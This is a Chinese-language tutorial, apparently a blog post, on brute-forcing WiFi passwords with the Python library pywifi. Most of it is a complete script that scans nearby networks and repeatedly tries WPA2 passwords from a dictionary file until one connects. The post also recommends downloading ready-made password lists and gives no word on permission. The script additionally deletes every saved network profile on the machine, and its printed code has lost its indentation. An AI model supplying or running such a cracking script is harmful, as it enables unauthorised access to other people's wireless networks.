通过Pywifi对WiFi进行密码破解

注:

Pywifi只能用来胡乱搞搞,其破解方式笨拙、破解速度缓慢,几乎没有实操价值

原理

Pywifi对WiFi进行密码破解的本质,即通过python脚本对网卡进行操纵,再通过txt密码字典对WiFi密码进行暴力破解。

详细代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import pytest
import sys
import time
import platform
import logging
import pywifi
from pywifi import const


pywifi.set_loglevel(logging.INFO)


# 扫描wifi
def scan_wifi():
#初始化wifi模块
wifi = pywifi.PyWiFi()
#初始化网卡,一般人只有一块网卡,也就是0
iface = wifi.interfaces()[0]
#执行wifi扫描
iface.scan()
#等待5s
time.sleep(5)
#扫描wifi结果
result = iface.scan_results()
#取出wifi的名字作为返回
wifiname=[]
for i in result:
wifiname.append(i.ssid)
return(wifiname)


# 连接wifi
def connect_wifi(name,password):
#初始化wifi模块
wifi = pywifi.PyWiFi()
#初始化网卡
iface = wifi.interfaces()[0]
#断开WiFi连接
iface.disconnect()
#等待1s(等待断开完成,也可以设置为2s)
time.sleep(1)

assert iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
#初始化
#wifi连接
profile = pywifi.Profile()
#wifi连接名
profile.ssid = name
#wifi连接所用网卡状态
profile.auth = const.AUTH_ALG_OPEN
#wifi连接加密算法——WPA2
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#wifi连接密码类型
profile.cipher = const.CIPHER_TYPE_CCMP
#wifi连接密码
profile.key = password

#删除网卡上连接过的wifi文件(可能会遗失原本密码)
iface.remove_all_network_profiles()
#初始化wifi配置完成
tmp_profile = iface.add_network_profile(profile)

#网卡连接wifi
iface.connect(tmp_profile)
#等待4s
time.sleep(4)
#判断是否连接成功
if iface.status() == const.IFACE_CONNECTED:
return True
else:
return False


# 解密wifi
def crack_wifi(name):
#控制台打印要破解的wifi名
print('开始破解:'+name)
print(' ')
#密码字典(可以理解为一本新华字典,字典的内容都是密码)
path = 'pass.txt'
#将密码字典导入到程序
filename = open(path, 'r')
#开始解密
while True:
try:
#每一次循环取一行密码
passStr = filename.readline()
#用密码去连接wifi,并获取wifi连接的结果
bool1 = connect_wifi(name,passStr)
#判断结果
if bool1:
print('密码正确',passStr)
break
else:
print('密码错误',passStr)
except:
continue


crack_wifi(“WiFi名称”)

关于密码本

自建密码本很费时间,建议自行百度已经建好的密码本。